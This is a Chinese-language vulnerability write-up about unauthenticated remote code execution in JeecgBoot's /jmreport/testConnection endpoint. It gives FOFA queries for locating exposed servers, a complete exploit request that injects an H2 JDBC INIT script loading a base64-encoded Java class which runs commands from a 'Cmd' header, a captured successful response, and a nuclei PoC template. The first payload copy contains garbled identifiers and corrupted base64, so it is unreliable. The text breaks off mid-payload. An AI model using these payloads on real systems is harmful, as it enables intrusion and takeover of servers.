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01—漏洞名称
02—漏洞影响
JeecgBoot 企业级低代码平台
03—漏洞描述
JeecgBoot是一款基于代码生成器的开源企业级快速开发平台,专注于开发后台管理系统、企业信息管理系统(MIS)等应用。它提供了一系列工具和模板,帮助开发者快速构建和部署现代化的 Web 应用程序。JeecgBoot的/jmreport/testConnection接口未进行身份验证,未对 dbUrl 参数进行限制,当应用端存在H2数据库驱动依赖时,攻击者发送包含恶意 dbUrl 参数的 http 请求远程执行任意代码。
04—FOFA搜索语句
title==
"JeecgBoot 企业级低代码平台"
||
body=
"window._CONFIG['imgDomainURL'] = 'http://localhost:8080/jeecg-boot/"
||
title=
"Jeecg-Boot 企业级快速开发平台"
||
title=
"Jeecg 快速开发平台"
||
body=
"'http://fileview.jeecg.com/onlinePreview'"
||
title==
"JeecgBoot 企业级低代码平台"
||
title==
"Jeecg-Boot 企业级快速开发平台"
||
title==
"JeecgBoot 企业级快速开发平台"
||
title==
"JeecgBoot 企业级快速开发平台"
||
title=
"Jeecg 快速开发平台"
||
title=
"Jeecg-Boot 快速开发平台"
||
body=
"积木报表"
||
body=
"jmreport"
05—漏洞复现
向靶场发送如下数据包,执行命令:
echo "2ZTvHsq4au3uOQ2mK9OuJb86rdO"
POST
/jmreport/testConnection
HTTP/1.1
Host
: x.x.x.x
User-Agent
: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Connection
: close
Content-Length
: 8881
Accept-Encoding
: gzip
Cmd
: echo "2ZTvHsq4au3uOQ2mK9OuJb86rdO"
Content-Type
: application/json
{
"id"
:
"1"
,
"code"
:
"ABC"
,
"dbType"
:
"MySQL"
,
"dbDriver"
:
"org.h2.Driver"
,
"dbUrl"
:
"jdbc:h2:mem:testdb;TRACE_LEVEL_SYSTEM_OUT=3;INIT=CREATE ALIAS EXEC AS 'void shellexec(String b) throws Exception {byte[] bytes\;try{bytes=java.util.Base64.getDecoder().decode(b)\;}catch (Exception e){e.printStackTrace()\;bytes=javax.xml.bind.DatatypeConverter.parseBase64Binary(b)\;}java.lang.reflect.Method defineClassMethhod = java.lang.ClassLoader.class.getDeclaredMethod(\"defineClass\", byte[].class,int.class,int.class)\;defineClassMethod.setAccessible(true)\;Class clz=(Class)defiineClassMethod.invoke(new javax.management.loading.MLet(new java.net.URL[0],java.lang.Thread.currentThread().getContextClassLoader()), bytes, 0,bytes.length)\;clz.newInsstance()\;}'\;CALL EXEC('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')"
,
"dbName"
:
"383BAb7deFC825E6"
,
"dbPassword"
:
"2ZTvHsq4au3uOQ2mK9OuJb86rdO"
,
"userName"
:
"2ZTvHsq4au3uOQ2mK9OuJb86rdO"
}
响应内容如下
HTTP/1.1
200
Connection
: close
Transfer-Encoding
: chunked
Date
: Wed, 13 Dec 2023 09:13:21 GMT
Vary
: Origin
Vary
: Access-Control-Request-Method
Vary
: Access-Control-Request-Headers
00000000
32
5
a
54
76
48
73
71
34
61
75
33
75
4
f
51
32
6
d
|2ZTvHsq4au3uOQ2m|
00000010
4
b
39
4
f
75
4
a
62
38
36
72
64
4
f 0a
7
b
22
73
75
|K9OuJb86rdO.{"su|
00000020
63
63
65
73
73
22
3
a
74
72
75
65
2
c
22
6
d
65
73
|ccess":
true
,"mes|
00000030
73
61
67
65
22
3
a
22
e6
95
b
0
e6
8
d ae e5 ba
93
|sage":".........|
00000040
e8 bf
9
e e6
8
e a5 e6
88
90
e5
8
a
9
f
22
2
c
22
63
|............","c|
00000050
6
f
64
65
22
3
a
32
30
30
2
c
22
72
65
73
75
6
c
74
|ode":200,"result|
00000060
22
3
a
74
72
75
65
2
c
22
74
69
6
d
65
73
74
61
6
d
|":
true
,"timestam|
00000070
70
22
3
a
31
37
30
32
34
35
38
38
30
31
31
33
33
|p":1702458801133|
000000
8
0
7
d
|}|
证明存在漏洞
06—nuclei poc
poc文件内容如下
id
: JeecgBoot-testConnection-rce
info:
name: JeecgBoot testConnection 远程命令执行漏洞
author: fgz
severity: critical
description: JeecgBoot是一款基于代码生成器的开源企业级快速开发平台,专注于开发后台管理系统、企业信息管理系统(MIS)等应用。它提供了一系列工具和模板,帮助开发者快速构建和部署现代化的 Web 应用程序。JeecgBoot的/jmreport/testConnection接口未进行身份验证,并且未对 dbUrl 参数进行限制,当应用端存在H2数据库驱动依赖时,攻击者发送包含恶意 dbUrl 参数的 http 请求远程执行任意代码。
metadata:
fofa-query: title==
"JeecgBoot 企业级低代码平台"
|| body=
"window._CONFIG['imgDomainURL'] = 'http://localhost:8080/jeecg-boot/"
|| title=
"Jeecg-Boot 企业级快速开发平台"
|| title=
"Jeecg 快速开发平台"
|| body=
"'http://fileview.jeecg.com/onlinePreview'"
|| title==
"JeecgBoot 企业级低代码平台"
|| title==
"Jeecg-Boot 企业级快速开发平台"
|| title==
"JeecgBoot 企业级快速开发平台"
|| title==
"JeecgBoot 企业级快速开发平台"
|| title=
"Jeecg 快速开发平台"
|| title=
"Jeecg-Boot 快速开发平台"
|| body=
"积木报表"
|| body=
"jmreport"
requests:
- raw:
- |
POST /jmreport/testConnection HTTP/1.1
Host: {{Hostname}}
Content-Type: application/json
Accept-Encoding: gzip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Cmd:
echo
"{{randstr}}"
{
"id"
:
"1"
,
"code"
:
"ABC"
,
"dbType"
:
"MySQL"
,
"dbDriver"
:
"org.h2.Driver"
,
"dbUrl"
:
"jdbc:h2:mem:testdb;TRACE_LEVEL_SYSTEM_OUT=3;INIT=CREATE ALIAS EXEC AS 'void shellexec(String b) throws Exception {byte[] bytes\;try{bytes=java.util.Base64.getDecoder().decode(b)\;}catch (Exception e){e.printStackTrace()\;bytes=javax.xml.bind.DatatypeConverter.parseBase64Binary(b)\;}java.lang.reflect.Method defineClassMethod = java.lang.ClassLoader.class.getDeclaredMethod(\"defineClass\", byte[].class,int.class,int.class)\;defineClassMethod.setAccessible(true)\;Class clz=(Class)defineClassMethod.invoke(new javax.management.loading.MLet(new java.net.URL[0],java.lang.Thread.currentThread().getContextClassLoader()), bytes, 0,bytes.length)\;clz.newInstance()\;}'\;CALL EXEC('yv66vgAAADEBawoAHQCSCgBEAJMKAEQAlAoAHQCVCACWCgAbAJcKAJgAmQoAmACaBwCbCgBEAJwIAIwKACAAnQgAnggAnwcAoAgAoQgAogcAowoAGwCkCAClCACmBwCnCwAWAKgLABYAqQgAqggAqwcArAoAGwCtBwCuCgCvALAIALEHALIIALMKAH4AtAoAIAC1CAC2CQAmALcHALgKACYAuQgAugoAfgC7CgAbALwIAL0HAL4KABsAvwgAwAcAwQgAwggAwwoAGwDEBwDFCgBEAMYKAMcAuwgAyAoAIADJCADKCgAgAMsIAMwKACAAzQoAIADOCADPCgAgANAIANEJAH4A0goAJgDTCgAmANQJAH4A1QcA1goARADXCgBEANgIAI0IANkKAH4A2ggA2woA3ADdCgAgAN4IAN8IAOAIAOEHAOIKAFAAkgoAUADjCADkCgBQAOUIAOYIAOcIAOgIAOkKAOoA6woA6gDsBwDtCgDuAO8KAFsA8AgA8QoAWwDyCgBbAPMKAFsA9AoA7gD1CgDuAPYKAC8A5QgA9woAIAD4CAD5CgDqAPoHAPsKACYA/AoAaQD9CgBpAO8KAO4A/goAaQD+CgBpAP8KAQABAQoBAAECCgEDAQQKAQMBBQUAAAAAAAAAMgoARAEGCgDuAQcKAGkBCAgBCQoALwEKCAELCAEMCgB+AQ0HAQ4BAAJpcAEAEkxqYXZhL2xhbmcvU3RyaW5nOwEABHBvcnQBABNMamF2YS9sYW5nL0ludGVnZXI7AQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEACkV4Y2VwdGlvbnMBAAlsb2FkQ2xhc3MBACUoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvQ2xhc3M7AQAHZXhlY3V0ZQEAJihMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9TdHJpbmc7AQAEZXhlYwEAB3JldmVyc2UBADkoTGphdmEvbGFuZy9TdHJpbmc7TGphdmEvbGFuZy9JbnRlZ2VyOylMamF2YS9sYW5nL1N0cmluZzsBAANydW4BAApTb3VyY2VGaWxlAQAHQTQuamF2YQwAgwCEDAEPARAMAREBEgwBEwEUAQAHdGhyZWFkcwwBFQEWBwEXDAEYARkMARoBGwEAE1tMamF2YS9sYW5nL1RocmVhZDsMARwBHQwBHgEfAQAEaHR0cAEABnRhcmdldAEAEmphdmEvbGFuZy9SdW5uYWJsZQEABnRoaXMkMAEAB2hhbmRsZXIBAB5qYXZhL2xhbmcvTm9TdWNoRmllbGRFeGNlcHRpb24MASABFAEABmdsb2JhbAEACnByb2Nlc3NvcnMBAA5qYXZhL3V0aWwvTGlzdAwBIQEiDAEaASMBAANyZXEBAAtnZXRSZXNwb25zZQEAD2phdmEvbGFuZy9DbGFzcwwBJAElAQAQamF2YS9sYW5nL09iamVjdAcBJgwBJwEoAQAJZ2V0SGVhZGVyAQAQamF2YS9sYW5nL1N0cmluZwEAA2NtZAwAigCLDAEpASoBAAlzZXRTdGF0dXMMASsBLAEAEWphdmEvbGFuZy9JbnRlZ2VyDACDAS0BACRvcmcuYXBhY2hlLnRvbWNhdC51dGlsLmJ1Zi5CeXRlQ2h1bmsMAIgAiQwBLgEvAQAIc2V0Qnl0ZXMBAAJbQgwBMAElAQAHZG9Xcml0ZQEAE2phdmEvbGFuZy9FeGNlcHRpb24BABNqYXZhLm5pby5CeXRlQnVmZmVyAQAEd3JhcAwBMQCJAQAgamF2YS9sYW5nL0NsYXNzTm90Rm91bmRFeGNlcHRpb24MATIBMwcBNAEAAAwBNQE2AQAQY29tbWFuZCBub3QgbnVsbAwBNwEdAQAFIyMjIyMMATgBOQwBOgE7AQABOgwBPAE9AQAiY29tbWFuZCByZXZlcnNlIGhvc3QgZm9ybWF0IGVycm9yIQwAfwCADAE+AT8MAUABQQwAgQCCAQAQamF2YS9sYW5nL1RocmVhZAwAgwFCDAFDAIQBAAVAQEBAQAwAjACLAQAHb3MubmFtZQcBRAwBRQCLDAFGAR0BAAN3aW4BAARwaW5nAQACLW4BABdqYXZhL2xhbmcvU3RyaW5nQnVpbGRlcgwBRwFIAQAFIC1uIDQMAUkBHQEAAi9jAQAFIC10IDQBAAJzaAEAAi1jBwFKDAFLAUwMAIwBTQEAEWphdmEvdXRpbC9TY2FubmVyBwFODAFPAVAMAIMBUQEAAlxhDAFSAVMMAVQBVQwBVgEdDAFXAVAMAVgAhAEABy9iaW4vc2gMAIMBWQEAB2NtZC5leGUMAIwBWgEAD2phdmEvbmV0L1NvY2tldAwBWwEiDACDAVwMAV0BXgwBXwFVBwFgDAFhASIMAWIBIgcBYwwBZAEtDAFlAIQMAWYBZwwBaAEiDAFpAIQBAB1yZXZlcnNlIGV4ZWN1dGUgZXJyb3IsIG1zZyAtPgwBagEdAQABIQEAE3JldmVyc2UgZXhlY3V0ZSBvayEMAI0AjgEAAkE0AQANY3VycmVudFRocmVhZAEAFCgpTGphdmEvbGFuZy9UaHJlYWQ7AQAOZ2V0VGhyZWFkR3JvdXABABkoKUxqYXZhL2xhbmcvVGhyZWFkR3JvdXA7AQAIZ2V0Q2xhc3MBABMoKUxqYXZhL2xhbmcvQ2xhc3M7AQAQZ2V0RGVjbGFyZWRGaWVsZAEALShMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9yZWZsZWN0L0ZpZWxkOwEAF2phdmEvbGFuZy9yZWZsZWN0L0ZpZWxkAQANc2V0QWNjZXNzaWJsZQEABChaKVYBAANnZXQBACYoTGphdmEvbGFuZy9PYmplY3Q7KUxqYXZhL2xhbmcvT2JqZWN0OwEAB2dldE5hbWUBABQoKUxqYXZhL2xhbmcvU3RyaW5nOwEACGNvbnRhaW5zAQAbKExqYXZhL2xhbmcvQ2hhclNlcXVlbmNlOylaAQANZ2V0U3VwZXJjbGFzcwEABHNpemUBAAMoKUkBABUoSSlMamF2YS9sYW5nL09iamVjdDsBAAlnZXRNZXRob2QBAEAoTGphdmEvbGFuZy9TdHJpbmc7W0xqYXZhL2xhbmcvQ2xhc3M7KUxqYXZhL2xhbmcvcmVmbGVjdC9NZXRob2Q7AQAYamF2YS9sYW5nL3JlZmxlY3QvTWV0aG9kAQAGaW52b2tlAQA5KExqYXZhL2xhbmcvT2JqZWN0O1tMamF2YS9sYW5nL09iamVjdDspTGphdmEvbGFuZy9PYmplY3Q7AQAIZ2V0Qnl0ZXMBAAQoKVtCAQAEVFlQRQEAEUxqYXZhL2xhbmcvQ2xhc3M7AQAEKEkpVgEAC25ld0luc3RhbmNlAQAUKClMamF2YS9sYW5nL09iamVjdDsBABFnZXREZWNsYXJlZE1ldGhvZAEAB2Zvck5hbWUBABVnZXRDb250ZXh0Q2xhc3NMb2FkZXIBABkoKUxqYXZhL2xhbmcvQ2xhc3NMb2FkZXI7AQAVamF2YS9sYW5nL0NsYXNzTG9hZGVyAQAGZXF1YWxzAQAVKExqYXZhL2xhbmcvT2JqZWN0OylaAQAEdHJpbQEACnN0YXJ0c1dpdGgBABUoTGphdmEvbGFuZy9TdHJpbmc7KVoBAAdyZXBsYWNlAQBEKExqYXZhL2xhbmcvQ2hhclNlcXVlbmNlO0xqYXZhL2xhbmcvQ2hhclNlcXVlbmNlOylMamF2YS9sYW5nL1N0cmluZzsBAAVzcGxpdAEAJyhMamF2YS9sYW5nL1N0cmluZzspW0xqYXZhL2xhbmcvU3RyaW5nOwEACHBhcnNlSW50AQAVKExqYXZhL2xhbmcvU3RyaW5nOylJAQAHdmFsdWVPZgEAFihJKUxqYXZhL2xhbmcvSW50ZWdlcjsBABcoTGphdmEvbGFuZy9SdW5uYWJsZTspVgEABXN0YXJ0AQAQamF2YS9sYW5nL1N5c3RlbQEAC2dldFByb3BlcnR5AQALdG9Mb3dlckNhc2UBAAZhcHBlbmQBAC0oTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvU3RyaW5nQnVpbGRlcjsBAAh0b1N0cmluZwEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEAKChbTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsBABFqYXZhL2xhbmcvUHJvY2VzcwEADmdldElucHV0U3RyZWFtAQAXKClMamF2YS9pby9JbnB1dFN0cmVhbTsBABgoTGphdmEvaW8vSW5wdXRTdHJlYW07KVYBAAx1c2VEZWxpbWl0ZXIBACcoT